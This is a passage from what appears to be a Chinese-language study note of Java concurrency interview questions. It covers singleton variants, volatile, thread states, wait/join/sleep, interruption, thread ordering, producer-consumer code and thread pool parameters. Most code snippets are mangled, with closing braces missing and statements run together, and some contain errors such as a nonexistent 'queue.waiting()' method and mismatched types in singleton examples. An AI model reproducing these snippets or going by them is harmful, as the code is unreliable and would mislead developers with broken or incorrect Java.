Executors.newSingleThreadExecutor(); FutureTask task = new FutureTask(new Callable() { @Override public Object call() throws Exception { //任务的代码 return null; pool.submit(task); //Runnable使用FutureTask封装后,配合线程池进行使用 FutureTask task1 = new FutureTask(new Runnable() { @Override public void run() { //任务的代码 pool.submit(task1);Java中单例有哪些写法?正确并且可以做到延迟加载的写法其实就是三种:1.使用volatile修饰变量并且双重校验的写法来实现。2.使用静态内部类来实现(类A有一个静态内部类B,类B有一个静态变量instance,类A的getInstance()方法会返回类B的静态变量instance,因为只有调用getInstance()方法时才会加载静态内部类B,这种写法缺点是不能传参。)3.使用枚举来实现第1种 不加锁(裸奔写法)多线程执行时,可能会在instance完成初始化之前,其他线性线程判断instance为null,从而也执行第二步的代码,导致初始化覆盖。public class UnsafeLazyInitialization { private static Instance instance; public static Instance getInstance() { if (instance == null) //1 instance = new Instance(); //2 return instance; }第2种-对方法加sychronize锁(俗称的懒汉模式)初始化完成以后,每次调用getInstance()方法都需要获取同步锁,导致不必要的开销。public class Singleton { private static Singleton instance; public synchronized static Singleton getInstance() { if (instance == null) instance = new Instance(); return instance; }第3种-使用静态变量(俗称的饿汉模式)public class Singleton { private static Singleton instance = new Singleton(); public static Singleton getInstance() { return instance; }这种方法是缺点在于不能做到延时加载,在第一次调用getInstance()方法之前,如果Singleton类被使用到,那么就会对instance变量初始化。第4种-使用双重检查锁定代码如下:public class Singleton { private static Singleton instance; public static Singleton getInstance() { if (instance == null) { synchronized (Singleton.class) { if (instance == null) { //双重检查存在的意义在于可能会有多个线程进入第一个判断,然后竞争同步锁,线程A得到了同步锁,创建了一个Singleton实例,赋值给instance,然后释放同步锁,此时线程B获得同步锁,又会创建一个Singleton实例,造成初始化覆盖。 instance = new Singleton(); return instance; }instance = new Singleton();这句代码在执行时会分解为三个步骤:1.为对象分配内存空间。2.执行初始化的代码。3.将分配好的内存地址设置给instance引用。但是编译器会对指令进行重排序,只能保证单线程执行时结果不会变化,也就是可能第3步会在第2步之前执行,某个线程A刚好执行完第3步,正在执行第2步时,此时如果有其他线程B进入if (instance == null)判断,会发现instance不为null,然后将instance返回,但是实际上instance还没有完成初始化,线程B会访问到一个未初始化完成的instance对象。所以需要像第5种解法一样使用volatile来修饰变量,防止重排序。第5种 基于 volatile 的双重检查锁定的解决方案代码如下:public class Singleton { private volatile static Singleton instance; public static Singleton getInstance() { if (instance == null) { synchronized (Singleton.class) { if (instance == null)//双重检查存在的意义在于可能会有多个线程进入第一个判断,然后竞争同步锁,线程A得到了同步锁,创建了一个Singleton实例,赋值给instance,然后释放同步锁,此时线程B获得同步锁,又会创建一个Singleton实例,造成初始化覆盖。 instance = new Singleton(); return instance; }volatile可以保证变量的内存可见性及防止指令重排。volatile修饰的变量在编译后,会多出一个lock前缀指令,lock前缀指令相当于一个内存屏障(内存栅栏),有三个作用:确保指令重排序时,内存屏障前的指令不会排到后面去,内存屏障后的指令不会排到前面去。强制对变量在线程工作内存中的修改操作立即写入到物理内存。如果是写操作,会导致其他CPU中对这个变量的缓存失效,强制其他CPU中的线程在获取变量时从物理内存中获取更新后的值。所以使用volatile修饰后不会出现第3种写法中由于指令重排序导致的问题。第6种 - 使用静态内部类来实现class Test { public static Signleton getInstance() { return Signleton.instance ; // 只有调用getInstance()方法时,才会引用到静态内部类Signleton,从而会触发Signleton类的instance变量的初始化,以此实现懒加载的目的。 private static class Signleton { private static Signleton instance = new Signleton(); }因为JVM底层通过加锁实现,保证一个类只会被加载一次,多个线程在对类进行初始化时,只有一个线程会获得锁,然后对类进行初始化,其他线程会阻塞等待。所以可以使用上面的代码来保证instance只会被初始化一次,这种写法的问题在于创建单例时不能传参。7.使用枚举来实现单例public enum Singleton { //每个元素就是一个单例 INSTANCE; //自定义的一些方法 public void method(){} }这种写法比较简洁,但是不太便于阅读和理解,所以实际开发中应用得比较少,而且由于枚举类是不能通过反射来创建实例的(反射方法newInstance中判断是枚举类型,会抛出IllegalArgumentException异常),所以可以防止反射。而且由于枚举类型的反序列化是通过java.lang.Enum的valueOf方法来实现的,不能自定义序列化方法,可以防止通过序列化来创建多个单例。如何解决序列化时可以创建出单例对象的问题?如果将单例对象序列化成字节序列后,然后再反序列成对象,那么就可以创建出一个新的单例对象,从而导致单例不唯一,避免发生这种情况的解决方案是在单例类中实现readResolve()方法。public class Singleton implements java.io.Serializable { private Object readResolve() { return INSTANCE; }通过实现readResolve方法,ObjectInputStream实例对象在调用readObject()方法进行反序列化时,就会判断相应的类是否实现了readResolve()方法,如果实现了,就会调用readResolve()方法返回一个对象作为反序列化的结果,而不是去创建一个新的对象。volatile关键字有什么用?怎么理解可见性,一般什么场景去用可见性?当线程进行一个volatile变量的写操作时,JIT编译器生成的汇编指令会在写操作的指令后面加上一个“lock”指令。 Java代码如下:instance = new Singleton(); // instance是volatile变量 转变成汇编代码,如下。 0x01a3de1d: movb $0×0,0×1104800(%esi);0x01a3de24: lock addl $0×0,(%esp);“lock”有三个作用:1.将当前CPU缓存行的数据会写回到系统内存。2.这个写回内存的操作会使得其他CPU里缓存了该内存地址的数据无效。3.确保指令重排序时,内存屏障前的指令不会排到后面去,内存屏障后的指令不会排到前面去。可见性可以理解为一个线程的写操作可以立即被其他线程得知。为了提高CPU处理速度,CPU一般不直接与内存进行通信,而是将系统内存的数据读到内部缓存,再进行操作。对于普通的变量,修改完不知道何时会更新到系统内存。但是如果是对volatile修饰的变量进行写操作,JVM就会向处理器发送一条Lock前缀的指令,将这个变量所在的缓存行的数据立即写回到系统内存。但是即便写回到系统内存,其他CPU中的缓存行数据还是旧的,为了保证数据一致性,其他CPU会嗅探在总线上传播的数据来检查自己的缓存行的值是否过期,当CPU发现缓存行对应的内存地址被修改,那么就会将当前缓存行设置为无效,下次当CPU对这个缓存行上的数据进行修改时,会重新从系统内存中把数据读到处理器缓存里。使用场景读写锁如果需要实现一个读写锁,每次只能一个线程去写数据,但是有多个线程来读数据,就synchronized同步锁来对set方法加锁,get方法不加锁, 使用volatile来修饰变量,保证内存可见性,不然多个线程可能会在变量修改后还读到一个旧值。volatile Integer a; //可以实现一写多读的场景,保证并发修改数据时的正确。 set(Integer c) { synchronized(this.a) { this.a = c; get() { return a; }状态位用于做状态位标志,如果多个线程去需要根据一个状态位来执行一些操作,使用volatile修饰可以保证内存可见性。用于单例模式用于保证内存可见性,以及防止指令重排序。Java中线程的状态是怎么样的?在操作系统中,线程等同于轻量级的进程。所以传统的操作系统线程一般有以下状态新建状态: 使用 new 关键字和 Thread 类或其子类建立一个线程对象后,该线程对象就处于新建状态。它保持这个状态直到程序 start() 这个线程。就绪状态: 当线程对象调用了start()方法之后,该线程就进入就绪状态。就绪状态的线程处于就绪队列中,要等待JVM里线程调度器的调度。运行状态:如果就绪状态的线程获取 CPU 资源,就可以执行 run(),此时线程便处于运行状态。处于运行状态的线程最为复杂,它可以变为阻塞状态、就绪状态和死亡状态。阻塞状态:如果一个线程执行了sleep(睡眠)、suspend(挂起)等方法,失去所占用资源之后,该线程就从运行状态进入阻塞状态。在睡眠时间已到或获得设备资源后可以重新进入就绪状态。可以分为三种:等待阻塞:运行状态中的线程执行 wait() 方法,使线程进入到等待阻塞状态。同步阻塞:线程在获取 synchronized同步锁失败(因为同步锁被其他线程占用)。其他阻塞:通过调用线程的 sleep() 或 join() 发出了 I/O请求时,线程就会进入到阻塞状态。当sleep() 状态超时,join() 等待线程终止或超时,或者 I/O 处理完毕,线程重新转入就绪状态。死亡状态:一个运行状态的线程完成任务或者其他终止条件发生时,该线程就切换到终止状态。但是Java中Thread对象的状态划分跟传统的操作系统线程状态有一些区别。public enum State { NEW,//新建态 RUNNABLE,//运行态 BLOCKED,//阻塞态 WAITING,//等待态 TIMED_WAITING,//有时间限制的等待态 TERMINATED;//死亡态 }NEW 新建态处于NEW状态的线程此时尚未启动,还没调用Thread实例的start()方法。RUNNABLE 运行态表示当前线程正在运行中。处于RUNNABLE状态的线程可能在Java虚拟机中运行,也有可能在等待其他系统资源(比如I/O)。Java线程的RUNNABLE状态其实是包括了传统操作系统线程的ready和running两个状态的。BLOCKED 阻塞态阻塞状态。线程没有申请到synchronize同步锁,就会处于阻塞状态,等待锁的释放以进入同步区。WAITING 等待态等待状态。处于等待状态的线程变成RUNNABLE状态需要其他线程唤醒。调用如下3个方法会使线程进入等待状态:Object.wait():使当前线程处于等待状态直到另一个线程调用notify唤醒它;Thread.join():等待线程执行完毕,底层调用的是Object实例的wait()方法;LockSupport.park():除非获得调用许可,否则禁用当前线程进行线程调度。TIMED_WAITING 超时等待状态超时等待状态。线程等待一个具体的时间,时间到后会被自动唤醒。调用如下方法会使线程进入超时等待状态:Thread.sleep(long millis):使当前线程睡眠指定时间;Object.wait(long timeout):线程休眠指定时间,等待期间可以通过notify()/notifyAll()唤醒;Thread.join(long millis):等待当前线程最多执行millis毫秒,如果millis为0,则会一直执行;LockSupport.parkNanos(long nanos): 除非获得调用许可,否则禁用当前线程进行线程调度指定时间;LockSupport.parkUntil(long deadline):同上,也是禁止线程进行调度指定时间;TERMINATED 终止态终止状态。此时线程已执行完毕。状态转换1.BLOCKED与RUNNABLE状态的转换处于BLOCKED状态的线程是因为在等待锁的释放,当获得锁之后就转换为RUNNABLE状态。2.WAITING状态与RUNNABLE状态的转换Object.wait(),**Thread.join()和LockSupport.park()**这3个方法可以使线程从RUNNABLE状态转为WAITING状态。3.TIMED_WAITING与RUNNABLE状态转换TIMED_WAITING与WAITING状态类似,只是TIMED_WAITING状态等待的时间是指定的。调用Thread.sleep(long),Object.wait(long),**Thread.join(long)**会使得RUNNABLE状态转换为TIMED_WAITING状态wait(),join(),sleep()方法有什么作用?首先需要对wait(),join(),sleep()方法进行介绍。Object.wait()方法是什么?调用wait()方法前线程必须持有对象Object的锁。线程调用wait()方法后,会释放当前的Object锁,进入锁的monitor对象的等待队列,直到有其他线程调用notify()/notifyAll()方法唤醒等待锁的线程。需要注意的是,其他线程调用notify()方法只会唤醒单个等待锁的线程,如果有多个线程都在等待这个锁的话,不一定会唤醒到之前调用wait()方法的线程。同样,调用notifyAll()方法唤醒所有等待锁的线程之后,也不一定会马上把时间片分给刚才放弃锁的那个线程,具体要看系统的调度。Thread.join()方法是什么?join()方法是Thread类的一个实例方法。它的作用是让当前线程陷入“等待”状态,等join的这个线程threadA执行完成后,再继续执行当前线程。实现原理是join()方法本身是一个sychronized修饰的方法,也就是调用join()这个方法需要先获取threadA的锁,获得锁之后再调用wait()方法来进行等待,一直到threadA执行完成后,threadA会调用notify_all()方法,唤醒所有等待的线程,当前线程才会结束等待。Thread threadA = new Thread(); threadA.join();join()方法的源码:public final void join() throws InterruptedException { join(0);//0的话代表没有超时时间一直等下去 public final synchronized void join(long millis) throws InterruptedException { long base = System.currentTimeMillis(); long now = 0; if (millis < 0) { throw new IllegalArgumentException("timeout value is negative"); if (millis == 0) { while (isAlive()) { wait(0); } else { while (isAlive()) { long delay = millis - now; if (delay <= 0) { break; wait(delay); now = System.currentTimeMillis() - base; }这是jvm中Thead的源码,在线程执行结束后会调用notify_all来唤醒等待的线程。//一个c++函数: void JavaThread::exit(bool destroy_vm, ExitType exit_type) ; //里面有一个贼不起眼的一行代码 ensure_join(this); static void ensure_join(JavaThread* thread) { Handle threadObj(thread, thread->threadObj()); ObjectLocker lock(threadObj, thread); thread->clear_pending_exception(); java_lang_Thread::set_thread_status(threadObj(), java_lang_Thread::TERMINATED); java_lang_Thread::set_thread(threadObj(), NULL); //同志们看到了没,别的不用看,就看这一句 //thread就是当前线程,是啥?就是刚才例子中说的threadA线程 lock.notify_all(thread); thread->clear_pending_exception(); }sleep()方法是什么?sleep方法是Thread类的一个静态方法。它的作用是让当前线程睡眠一段时间。:sleep方法是不会释放当前线程持有的锁,而wait方法会。sleep与wait方法的区别:wait可以指定时间,也可以不指定;而sleep必须指定时间。wait释放cpu资源,同时释放锁;sleep释放cpu资源,但是不释放锁,所以易死锁。(调用join()方法也不会释放锁)wait必须放在同步块或同步方法中,而sleep可以再任意位置。参考文章:http://redspider.group:4000/article/01/4.htmlhttps://www.jianshu.com/p/5d88b122a050Thread.sleep(),Object.wait(),LockSupport.park()有什么区别?1.这三个方法都会让线程挂起,释放CPU时间片,进入到阻塞态。但是Object.wait()需要释放锁,所以必须在synchronized同步锁中使用,同理配套的Object.notify()也是。而Thead.sleep(),LockSupport.park()不需要在synchronized同步锁中使用,并且在调用时也不会释放锁。2.由于Thread.sleep()没有对应的唤醒线程的方法,所以必须指定超时时间,超过时间后,线程恢复。所以调用Thread.sleep()后的线程一般是出于TIME_WAITING状态,而调用了Object.wait(),LockSupport.park()的方法是进入到WAITING状态。3.Object.wait()对应的唤醒方法为Object.notify(),LockSupport.park()对应的唤醒方法为LockSupport.unpark()。4.在代码中必须能保证wait方法比notify方法先执行,如果notify方法比wait方法早执行的话,就会导致因wait方法进入休眠的线程接收不到唤醒通知的问题。而park、unpark则不会有这个问题,我们可以先调用unpark方法释放一个许可证,这样后面线程调用park方法时,发现已经许可证了,就可以直接获取许可证而不用进入休眠状态了。(LockSupport.park() 的实现原理是通过二元信号量做的阻塞,要注意的是,这个信号量最多只能加到1,也就是无论执行多少次unpark()方法,也最多只会有一个许可证。)5.三种方法让线程进入阻塞态后,都可以响应中断,也就是调用Thread.interrupt()方法会设置中断标志位,之前执行Thread.sleep(),Object.wait()了的线程会抛出InterruptedException异常,然后需要代码进行处理。而调用了park()方法的线程在响应中断只会相当于一次正常的唤醒操作(等价于调用unpark()方法),让线程唤醒,继续执行后面的代码,不会抛出InterruptedException异常。参考链接:https://blog.csdn.net/u013332124/article/details/84647915谈一谈你对线程中断的理解?在Java中认为,一个线程不应该由其他线程来强制中断或者停止,所以一些会强制中断线程的方法Thread.stop(), Thread.suspend()方法都已经废弃了。所以一般是通过调用thread.interrupt();方法来设置线程的中断标识,1.这样如果线程是处于阻塞状态,会抛出InterruptedException异常,代码可以进行捕获,进行一些处理。(例如Object#wait、Thread#sleep、BlockingQueue#put、BlockingQueue#take。其中BlockingQueue主要调用conditon.await()方法进行等待,底层通过LockSupport.park()实现)2.如果线程是处于RUNNABLE状态,也就是正常运行,调用thread.interrupt();只是会设置中断标志位,不会有什么其他操作。//将线程的中断标识设置为true thread.interrupt(); //判断线程的中断标识是否为true thread.isInterrupted() //会返回当前的线程中断状态,并且重置线程的中断标识,将中断标识设置为false thread.interrupted()线程执行的任务可以终止吗?1.设置中断FutureTask提供了cancel(boolean mayInterruptIfRunning)方法来取消任务,并且如果入参为false,如果任务已经在执行,那么任务就不会被取消。如果入参为true,如果任务已经在执行,那么会调用Thread的interrupt()方法来设置线程的中断标识,如果线程处于阻塞状态,会抛出InterruptedException异常,如果正常状态只是设置标志位,修改interrupted变量的值。所以如果要取消任务只能在任务内部中调用thread.isInterrupted()方法获取当前线程的中断状态,自行取消。2.线程的stop方法线程的stop()方法可以让线程停止执行,释放所有的锁,抛出ThreadDeath这种Error。但是在释放锁之后,没有办法让受这些锁保护的资源,对象处于一个安全,一致的状态。(例如有一个变量a,本来的值是0,你的线程任务是将a++后然后再进行a--。正常情况下任务执行完之后,其他线程取到这个变量a的值应该是0,但是如果之前调用了Thread.stop方法时,正好是在a++之后,那么变量a就会是1,这样其他线程取到的a就是出于不一致的状态。)让线程顺序执行有哪些方法?1.主线程Join就是调用threadA.start()方法让线程A先执行,然后主线程调用threadA.join()方法,然后主线程进入TIME_WAITING状态,直到threadA执行结束后,主线程才能继续往下执行,执行线程B的任务。(join方法的底层实现其实是调用了threadA的wait()方法,当线程A执行完毕后,会自动调用notifyAll()方法唤醒所有线程。)示例代码如下:Thread threadA = new Thread(new Runnable() { @Override public void run() { //执行threadA的任务 Thread threadB= new Thread(new Runnable() { @Override public void run() { //执行threadB的任务 //执行线程A任务 threadA.start(); //主线程进行等待 threadA.join(); //执行线程B的任务 threadB.start();子线程Join就是让线程B的任务在执行时,调用threadA.join()方法,这样就只有等线程A的任务执行完成后,才会执行线程B。Thread threadA = new Thread(new Runnable() { @Override public void run() { //执行threadA的任务 Thread threadB= new Thread(new Runnable() { @Override public void run() { //子线程进行等待,知道threadA任务执行完毕 threadA.join(); //执行threadB的任务 //执行线程A任务 threadA.start(); //执行线程B的任务 threadB.start();单线程池法就是使用Executors.newSingleThreadExecutor()这个线程池,这个线程池的特点就是只有一个执行线程,可以保证任务按顺序执行。ExecutorService pool = Executors.newSingleThreadExecutor(); //提交任务A executorService.submit(taskA); //提交任务B executorService.submit(taskB);等待通知法(wait和notify)就是在线程B中调用Object.waiting()方法进行等待,线程A执行完毕后调用Object.notify()方法进行唤醒。(这种方法有两个缺点,一个是Object.waiting()和notify()方法必须在同步代码块中调用,第二个是如果线程A执行过快,先调用了object.notify()方法,就会导致线程B后面一直得不到唤醒。)final Object object = new Object(); Thread threadA = new Thread(new Runnable() { @Override public void run() { //执行threadA的任务 synchronized(object) { object.notify(); Thread threadB= new Thread(new Runnable() { @Override public void run() { synchronized(object) { //子线程进行等待,知道threadA任务执行完毕 object.wait(); //执行threadB的任务 });等待通知法(await和singal)具体实现就是Reentrantlock可以创建出一个Condition实例queue,可以认为是一个等待队列,线程B调用queue.await()就会进行等待,直到线程A执行完毕调用queue.signal()来唤醒线程B。final ReentrantLock lock = new ReentrantLock(); final Condition queue1 = lock.newCondition(); final Object object = new Object(); final Thread threadA = new Thread(new Runnable() { @Override public void run() { //执行threadA的任务 lock.lock(); try { //唤醒线程B的任务 queue1.signal(); } catch (InterruptedException e) { e.printStackTrace(); System.out.println("执行了任务A2"); lock.unlock(); final Thread threadB= new Thread(new Runnable() { @Override public void run() { lock.lock(); //子线程进行等待,知道threadA任务执行完毕 try { queue1.await(); System.out.println("执行了任务B2"); } catch (InterruptedException e) { e.printStackTrace(); //执行threadB的任务 lock.unlock(); threadA.start(); threadB.start();参考链接:http://cnblogs.com/wenjunwei/p/10573289.html线程间怎么通信?1.synchronized锁通过synchronized锁来进行同步,让一次只能一个线程来执行。2.等待/通知机制//假设我们的需求是B执行结束后A才能执行 //线程A的代码 synchronized(对象) { while(条件不满足) { while(条件不满足) { 对象.wait(); //线程A进行等待 //线程A执行相关的的逻辑 //线程B的代码 synchronized(对象) { //线程B执行相关的的逻辑 //线程B唤醒线程A 对象.notifyAll(); }等待/通知机制,是指一个线程A调用了对象objectA的wait()方法进入等待状态,而另一个线程B调用了对象objectA的notify()或者notifyAll()方法,线程A收到通知后从对象objectA的wait()方法返回,进而执行后续操作。上述两个线程通过对象objectA来完成交互,而对象上的wait()和notify/notifyAll()的关系就如同开关信号一样,用来完成等待方和通知方之间的交互工作。1)使用wait()、notify()和notifyAll()时需要先对调用对象加锁。2)调用wait()方法后,线程状态由RUNNING变为WAITING,并将当前线程放置到对象的等待队列。3)notify()或notifyAll()方法调用后,等待线程依旧不会从wait()返回,因为等待线程只是从等待队列到了同步队列,需要调用notify()或 notifAll()的线程释放锁之后,等待线程获得锁,才能从同步队列中移除,才有机会从wait()返回,才能继续往下执行。4)notify()方法将等待队列中的一个等待线程从等待队列中移到同步队列中,而notifyAll() 方法则是将等待队列中所有的线程全部移到同步队列,被移动的线程状态由WAITING变为 BLOCKED。5)从wait()方法返回的前提是获得了调用对象的锁。3.管道管道输入/输出流 管道输入/输出流和普通的文件输入/输出流或者网络输入/输出流不同之处在于,它主要 用于线程之间的数据传输,而传输的媒介为内存。 管道输入/输出流主要包括了如下4种具体实现:PipedOutputStream、PipedInputStream、 PipedReader和PipedWriter,前两种面向字节,而后两种面向字符。PipedReader和PipedWriter可以一个线程A调用PipedWriter实例的write()方法,往里面写数据,然后与PipedWriter实例建立连接的PipedReader实例可以读到数据,线程B可以通过PipedReader实例读到数据。在代码清单4-12所示的例子中,创建了printThread,它用来接受main线程的输入,任何 main线程的输入均通过PipedWriter写入,而printThread在另一端通过PipedReader将内容读出并打印。代码清单4-12 Piped.javapublic class Piped { public static void main(String[] args) throws Exception { PipedWriter out = new PipedWriter(); PipedReader in = new PipedReader(); // 将输出流和输入流进行连接,否则在使用时会抛出IOException out.connect(in); Thread printThread = new Thread(new Print(in), "PrintThread"); printThread.start(); int receive = 0; try { while ((receive = System.in.read()) != -1) { out.write(receive); } finally { out.close(); } static class Print implements Runnable { private PipedReader in; public Print(PipedReader in) { this.in = in; public void run() { int receive = 0; try { while ((receive = in.read()) != -1) { System.out.print((char) receive); } catch (IOException ex) { }运行该示例,输入一组字符串,可以看到被printThread进行了原样输出。Repeat my words. Repeat my words.4.Thread.joinThread.join()的使用如果一个线程A执行了thread.join()语句,当前线程A会一直等待thread线程终止之后才从thread.join()返回,向下执行。线程Thread除了提供join()方法之外,还提供了join(long millis)和join(long millis,int nanos)两个具备超时参数的方法。5.ThreadLocal的使用ThreadLocal,即线程变量,是一个以ThreadLocal对象为键、任意对象为值的存储结构。这 个结构被附带在线程上,也就是说一个线程可以根据一个ThreadLocal对象查询到绑定在这个 线程上的一个值。public class Profiler { // 第一次get()方法调用时会进行初始化(如果set方法没有调用),每个线程会调用一次 private static final ThreadLocal<Long> TIME_THREADLOCAL = new ThreadLocal<Long>() { protected Long initialValue() { return System.currentTimeMillis();} public static final void begin() { TIME_THREADLOCAL.set(System.currentTimeMillis()); public static final long end() { return System.currentTimeMillis() - TIME_THREADLOCAL.get(); public static void main(String[] args) throws Exception { Profiler.begin(); TimeUnit.SECONDS.sleep(1); System.out.println("Cost: " + Profiler.end() + " mills"); }Profiler可以被复用在方法调用耗时统计的功能上,在方法的入口前执行begin()方法,在方法调用后执行end()方法,好处是两个方法的调用不用在一个方法或者类中,比如在AOP(面 向方面编程)中,可以在方法调用前的切入点执行begin()方法,而在方法调用后的切入点执行 end()方法,这样依旧可以获得方法的执行耗时。怎么实现实现一个生产者消费者?1.使用Object.wait()和Object.notify()实现使用queue作为一个队列,存放数据,并且使用Synchronized同步锁,每次只能同时存在一个线程来生产或者消费数据,生成线程发现队列容量>10,生产者线程就进入waiting状态,一旦成功往队列添加数据,那么就唤醒所有线程(主要是生产者线程起来消费)。消费线程消费时,发现队列容量==0,也会主动进入waiting状态。伪代码如下:LinkedList<Integer> queue = new LinkedList<>(); void produce(Integer value) { synchronized(queue) {//加锁控制,保证同一时间点,只能有一个线程生成或者消费 while(queue.size()>10) { queue.waiting(); queue.add(value); //唤醒消费者线程 queue.notifyAll(); Integer consumer() { synchronized(queue) {//加锁控制,保证同一时间点,只能有一个线程生成或者消费 while(queue.size()==0) { queue.waiting(); Integer value = queue.poll(); //唤醒生产者线程 queue.notifyAll(); return value; }完整代码如下:public static void main(String[] args) { Queue<Integer> queue = new LinkedList<>(); final Customer customer = new Customer(queue); final Producer producer = new Producer(queue); ExecutorService pool = Executors.newCachedThreadPool(); for (int i = 0; i < 1000; i++) { pool.execute(new Runnable() { @Override public void run() { try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); Integer a = customer.removeObject(); System.out.println("消费了数据 "+a); pool.execute(new Runnable() { @Override public void run() { try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); Random random = new Random(); Integer a = random.nextInt(1000); System.out.println("生成了数据 "+a); producer.addObject(a); private static class Customer { Queue<Integer> queue; Customer(Queue<Integer> queue) { this.queue = queue; } public Integer removeObject() { synchronized (queue) { try { while (queue.size()==0) { System.out.println("队列中没有元素了,进行等待"); queue.wait(); } catch (InterruptedException e) { e.printStackTrace(); Integer number = queue.poll(); System.out.println("唤醒所有生产线程,当前queue大小是" + queue.size()); queue.notifyAll(); return number; private static class Producer { Queue<Integer> queue; Producer(Queue<Integer> queue) { this.queue = queue; } public void addObject(Integer number) { synchronized (queue) { try { while (queue.size()>10) { queue.wait(); } catch (InterruptedException e) { e.printStackTrace(); queue.add(number); queue.notifyAll(); System.out.println("唤醒所有消费线程,当前queue大小是"+queue.size()); }2.使用Lock和Condition来实现调用Object.wait()方法可以让线程进入等待状态,被添加到Object的monitor监视器的等待队列中,Object.notifyAll()可以唤醒monitor监视器等待队列中的所有线程。而调用lock的newCondition()方法,可以返回一个ConditionObject实例对象,每个ConditionObject包含一个链表,存储等待队列。可以认为一个ReentrantLock有一个同步队列(存放没有获得锁的线程),和多个等待队列(存放调用await()方法的线程)。使用Condition.singal()和Condition.singalAll()可以更加精准的唤醒线程,也就是唤醒的都是这个Condition对应的等待队列里面的线程,而Object.notify()和Object.notifyAll()只能唤醒等待队列中的所有的线程。ReentrantLock lock = new ReentrantLock(); Condition customerQueue = lock.newCondition();ReentrantLock的Condition相关的实现abstract static class Sync extends AbstractQueuedSynchronizer { final ConditionObject newCondition() { return new ConditionObject(); //AQS内部类 ConditionObject public class ConditionObject implements Condition, java.io.Serializable { private static final long serialVersionUID = 1173984872572414699L; //链表头结点 private transient Node firstWaiter; //链表尾结点 private transient Node lastWaiter; //真正的创建Condition对象 public ConditionObject() { } }消费者-生产者实现public static void main(String[] args) { ReentrantLock lock = new ReentrantLock(); Condition customerQueue = lock.newCondition(); Condition producerQueue = lock.newCondition(); Queue<Integer> queue = new LinkedList<>(); final Customer customer = new Customer(lock,customerQueue, producerQueue,queue); final Producer producer = new Producer(lock,customerQueue, producerQueue,queue); ExecutorService pool = Executors.newCachedThreadPool(); for (int i = 0; i < 1000; i++) { pool.execute(new Runnable() { @Override public void run() { try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); Integer a = customer.take(); // System.out.println("消费了数据 "+a); pool.execute(new Runnable() { @Override public void run() { try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); Random random = new Random(); Integer a = random.nextInt(1000); // System.out.println("生成了数据 "+a); producer.add(a); private static class Customer { private ReentrantLock lock; private Condition customer; private Condition producer; private Queue<Integer> queue; Customer(ReentrantLock lock, Condition customer, Condition producer,Queue<Integer> queue) { this.lock = lock; this.customer = customer; this.producer = producer; this.queue = queue; public Integer take() { lock.lock(); Integer element = null; try { while (queue.size() == 0) { customer.await(); element = queue.poll(); System.out.println("消费者线程取出来元素"+element); producer.signalAll(); } catch (InterruptedException e) { e.printStackTrace(); } finally { lock.unlock(); return element; private static class Producer { private ReentrantLock lock; private Condition customer; private Condition producer; private Queue<Integer> queue; Producer(ReentrantLock lock, Condition customer, Condition producer,Queue<Integer> queue) { this.lock = lock; this.customer = customer; this.producer = producer; this.queue = queue; public void add( Integer element) { lock.lock(); try { while (queue.size() > 10) { producer.await(); queue.add(element); System.out.println("生成和线程添加元素"+element); customer.signalAll(); } catch (InterruptedException e) { e.printStackTrace(); } finally { lock.unlock(); }3.使用BlockingQueue实现利用阻塞队列BlockingQueue的特征进行生产和消费的同步(其实阻塞队列内部也是基于Lock,condition实现的 )public class BlockQueueRepository<T> extends AbstractRepository<T> implements Repository<T> { public BlockQueueRepository(int cap) { //cap代表队列的最大容量 products = new LinkedBlockingQueue<>(cap); @Override public void put(T t) { if (isFull()) { log.info("repository is full, waiting for consume....."); try { //如果队列长度已满,那么会阻塞等待 ((BlockingQueue) products).put(t); } catch (InterruptedException e) { e.printStackTrace(); @Override public T take() { T product = null; if (isEmpty()) { log.info("repository is empty, waiting for produce....."); try { //如果队列元素为空,那么也会阻塞等待 product = (T) ((BlockingQueue) products).take(); } catch (InterruptedException e) { e.printStackTrace(); return product; }谈一谈你对线程池的理解?首先线程池有什么作用?1.提高响应速度,如果线程池有空闲线程的话,可以直接复用这个线程执行任务,而不用去创建。2.减少资源占用,每次都创建线程都需要申请资源,而使用线程池可以复用已创建的线程。3.可以控制并发数,可以通过设置线程池的最大线程数量来控制最大并发数,如果每次都是创建新线程,来了大量的请求,可能会因为创建的线程过多,造成内存溢出。4.更加方便来管理线程资源。线程池有哪些参数?public ThreadPoolExecutor(int corePoolSize, int maximumPoolSize, long keepAliveTime, TimeUnit unit, BlockingQueue<Runnable> workQueue, ThreadFactory threadFactory) { this(corePoolSize, maximumPoolSize, keepAliveTime, unit, workQueue, threadFactory, defaultHandler); }1.corePoolSize 核心线程数该线程池中核心线程数最大值,添加任务时,即便有空闲线程,只要当前线程池线程数<corePoolSize,都是会新建线程来执行这个任务。并且核心线程空闲时间超过keepAliveTime也是不会被回收的。(从阻塞队列取任务时,如果阻塞队列为空:核心线程的会一直卡在workQueue.take方法,这个take方法每种等待队列的实现各不相同,以LinkedBlockingQueue为例,在这个方法里会调用notEmpty队列(这是Condition实例)的await()方法一直阻塞并挂起,不会占用CPU资源。非核心线程会调用workQueue.poll(keepAliveTime, TimeUnit.NANOSECONDS)方法取任务 ,这个poll方法每种等待队列的实现各不相同,以LinkedBlockingQueue为例,在这个方法里面会调用notEmpty队列(这是Condition实例)的awaitNanos()方法进行超时等待,如果超过keepAliveTime时间后还没有新的任务,就会返回null,Worker对象的run()方法循环体的判断为null,任务结束,然后线程被系统回收)2.maximumPoolSize 最大线程数该线程池中线程总数最大值 ,一般是用于当线程池中的线程都在执行任务,并且等待队列满了时,如果当前线程数<maximumPoolSize,可以创建一个新线程来执行任务。maximumPoolSize一般也可以用来现在最大线程并发执行量。3.workQueue 